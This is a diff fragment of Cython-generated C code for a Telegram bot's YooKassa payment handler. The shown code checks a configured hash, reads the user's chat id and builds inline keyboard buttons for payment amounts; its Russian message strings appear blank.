+ if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 51, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 51, __pyx_L1_error) + } + } + + /* "handlers/payments/yookassa_pay.py":54 + * text=" , @solonet_sup." + * ) + * return # <<<<<<<<<<<<<< + * tg_id = callback_query.message.chat.id + * + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/yookassa_pay.py":49 + * + * expected_hash = "HASHHASHYOOKASSA" + * if YOOKASSA_HASH != expected_hash: # <<<<<<<<<<<<<< + * logger.error(" YOOKASSA_HASH. .") + * await callback_query.message.answer( + */ + } + + /* "handlers/payments/yookassa_pay.py":55 + * ) + * return + * tg_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":57 + * tg_id = callback_query.message.chat.id + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":59 + * builder = InlineKeyboardBuilder() + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_int_0); + __Pyx_GIVEREF(__pyx_int_0); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_int_0)) __PYX_ERR(0, 59, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error); + __Pyx_INCREF(__pyx_int_2); + __Pyx_GIVEREF(__pyx_int_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_int_2)) __PYX_ERR(0, 59, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (likely(PyList_CheckExact(__pyx_t_3)) || PyTuple_CheckExact(__pyx_t_3)) { + __pyx_t_1 = __pyx_t_3; __Pyx_INCREF(__pyx_t_1); + __pyx_t_6 = 0; + __pyx_t_7 = NULL; + } else { + __pyx_t_6 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 59, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + for (;;) { + if (likely(!__pyx_t_7)) { + if (likely(PyList_CheckExact(__pyx_t_1))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 59, __pyx_L1_error) + #endif + if (__pyx_t_6 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 59, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 59, __pyx_L1_error) + #endif + if (__pyx_t_6 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 59, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } + } else { + __pyx_t_3 = __pyx_t_7(__pyx_t_1); + if (unlikely(!__pyx_t_3)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 59, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":60 + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_8 = PyObject_Length(__pyx_t_4); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_9 = PyObject_RichCompare(__pyx_t_3, __pyx_t_4, Py_LT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/yookassa_pay.py":61 + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/yookassa_pay.py":62 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/yookassa_pay.py":63 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + */ + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/yookassa_pay.py":64 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/yookassa_pay.py":62 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/yookassa_pay.py":66 + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 66, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/yookassa_pay.py":67 + * ), + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + * ), + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/yookassa_pay.py":68 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/yookassa_pay.py":66 + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 66, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_t_11, __pyx_t_14}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":60 + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + goto __pyx_L8; + } + + /* "handlers/payments/yookassa_pay.py":72 + * ) + * else: + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + /*else*/ { + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/yookassa_pay.py":73 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + + /* "handlers/payments/yookassa_pay.py":74 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ) + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":75 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ) + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":73 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_3}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_L8:; + + /* "handlers/payments/yookassa_pay.py":59 + * builder = InlineKeyboardBuilder() + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":78 + * ) + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=" ", + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + + /* "handlers/payments/yookassa_pay.py":79 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_yookassa", + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* 